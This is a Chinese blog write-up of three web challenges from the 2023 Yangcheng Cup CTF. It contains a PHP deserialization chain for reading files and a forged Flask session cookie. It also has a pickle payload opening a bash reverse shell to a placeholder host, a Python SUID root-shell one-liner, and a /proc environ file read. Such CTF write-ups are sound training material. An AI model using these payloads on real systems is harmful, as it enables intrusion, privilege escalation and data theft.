目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. D0n’t pl4y g4m3!!!
    2. 2.2. Serpent
    3. 2.3. ArkNights

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

羊城杯2023

2023/9/2 CTF线上赛
  |     |   总文章阅读量:

前言

连着几次web爆零了,这次终于稍微复健一下了

Web

D0n’t pl4y g4m3!!!

访问题目/p0p.php,发现重定向跳转到了另一个网站

抓包查看

image-20230902103636447

访问/hint.zip,下载并解压,得到hint

Ö_0 0vO Ow0 0w0 Ö_0 Ö_O Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0_Ö Ö_o owO O.0 owo Ö_o owO O.0 owo Ö_0 0wÖ O.0 0w0 Ö_0 OwO ov0 owo o_O O.Ö Övo 

搜索发现是尊嘟语,找个翻译器:https://zdjd.vercel.app/

image-20230902103814633

尝试直接访问/tmp/catcatf1ag.txt

image-20230902104815788

返回这个页面,可以知道这是用php -s直接起的服务

也就是说这题存在源码泄露漏洞

修改请求头,得到源码

image-20230902105057831

<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>
# ./有hint.zip

这题的链子和neepuctf的ezphp很像

然后问题就在于怎么绕过过滤

这里琢磨了半天选择直接读文件(ps:因为是preg_replace,所以可以双写system绕过)

测试了几个方法最后用highlight_file读出来的

<?php
error_reporting(0);
class Pro{
    private $exp;
    private $rce2;
}
class Yang{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
}
class Cheng{
    private $finish;
    public $name;
}

class Bei{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup(){
        $this->key=false;
    }
}


$a=new Bei();
$a->rce="/tmp/catcatf1ag.txt";
$a->rce1="";
$b=new Yang();
$b->finish->finish=true;
$a->CTF=$b;
$c=new Yang();
$c->key=true;
$c->finish->finish=true;
$c->now['YCB1']='highlight_file';
$a->fine=$c;
echo urlencode(serialize($a));

image-20230902125522191


Serpent

jwt+pickle反序列化R绕过+python提权

访问/www.zip下载源码

from flask import Flask, session
from secret import secret

@app.route('/verification')
def verification():
    try:
        attribute = session.get('Attribute')
        if not isinstance(attribute, dict):
            raise Exception
    except Exception:
        return 'Hacker!!!'
    if attribute.get('name') == 'admin':
        if attribute.get('admin') == 1:
            return secret
        else:
            return "Don't play tricks on me"
    else:
        return "You are a perfect stranger to me"

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

逻辑很简单,就是对session值的校验

直接取session值解密

python flask_session_cookie_manager3.py decode -c "eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRVaTZIb21lcjBFIn19.ZPMmsA.0xXhz5Q1JiVFjndMRMEgPB1OmWM"

得到

b'{"Attribute":{"admin":0,"name":"GWHT","secret_key":"GWHTUi6Homer0E"}}'

于是修改,加密

python flask_session_cookie_manager3.py encode -s "GWHTUi6Homer0E" -t "{'Attribute':{'admin':1,'name':'admin','secret_key':'GWHTUi6Homer0E'}}"

得到

eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUVWk2SG9tZXIwRSJ9fQ.ZPMstg.oW1TUIaJD-mmuvGiszk32M0dC4A

带回session

image-20230902204301517

注:访问/ppppppppppick1e后,在响应头还有hint,但是我比赛时漏看了(

image-20230915233224486

访问/src0de,得到源码

@app.route('/src0de')
def src0de():
    f = open(__file__, 'r')
    rsp = f.read()
    f.close()
    return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
    try:
        username = "admin"
        rsp = make_response("Hello, %s " % username)
        rsp.headers['hint'] = "Source in /src0de"
        pick1e = request.cookies.get('pick1e')
        if pick1e is not None:
            pick1e = base64.b64decode(pick1e)
        else:
            return rsp
        if check(pick1e):
            pick1e = pickle.loads(pick1e)
            return "Go for it!!!"
        else:
            return "No Way!!!"
    except Exception as e:
        error_message = str(e)
        return error_message

    return rsp

class GWHT():
    def __init__(self):
        pass

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

接下来就是pickle反序列化了,

可以看到有个check函数,大佬们的wp是用o指令进行R指令绕过反弹shell,应该是R指令被ban了

from flask import Flask, session
import base64

opcode=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/your_ip/port <&1"'
o.'''
print(base64.b64encode(opcode)

接下来是suid提权,直接看现成的payload:https://gtfobins.github.io/gtfobins/python/

python3.8 -c "import os;os.execl('/bin/sh','sh','-p')"

ArkNights

源码

import uuid
from flask import *
from werkzeug.utils import *
app = Flask(__name__)
app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
@app.route('/')
def index():
    name=request.args.get("name","name")
    m1sery=[request.args.get("m1sery","Doctor.Boogipop")]
    if(session.get("name")=="Dr.Boog1pop"):
        blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
        if blacklist:
            return "bad hacker no way"
        exec(f'for [{name}] in [{m1sery}]:print("strange?")')
    else:
        session['name'] = "Doctor"
    return render_template("index.html",name=session.get("name"))
@app.route('/read')
def read():
        file = request.args.get('file')
        fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
        if fileblacklist:
            return "bad hacker!"
        start=request.args.get("start","0")
        end=request.args.get("end","0")
        if start=="0" and end=="0":
            return open(file,"rb").read()
        else:
            start,end=int(start),int(end)
            f=open(file,"rb")
            f.seek(start)
            data=f.read(end)
            return data
@app.route("/<path:path>")
def render_page(path):
    print(os.path.pardir)
    print(path)
    if not os.path.exists("templates/" + path):
        return "not found", 404
    return render_template(path)
if __name__=='__main__':
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

非预期:/read?file=/proc/1/environ